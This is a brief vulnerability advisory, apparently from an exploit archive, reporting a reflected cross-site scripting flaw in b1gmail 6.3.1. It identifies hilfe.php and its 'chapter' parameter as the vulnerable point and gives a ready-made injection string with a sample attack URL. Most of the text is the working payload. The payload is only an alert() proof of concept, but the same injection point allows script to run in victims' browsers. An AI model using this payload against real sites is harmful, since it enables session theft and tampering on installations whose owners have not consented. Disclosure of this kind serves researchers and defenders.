b1gmail Cross Site Scripting
===========================Version: 6.3.1
site: http://www.b1gmail.de 

Profile: Cross Site Scripting
Method: POST
location:hilfe.php
strings: "+onmouseover=alert(1898233298)+


http://site.com/hilfe.php?chapter="+onmouseover=alert(1898233298)+ 

credit`s: malibu.r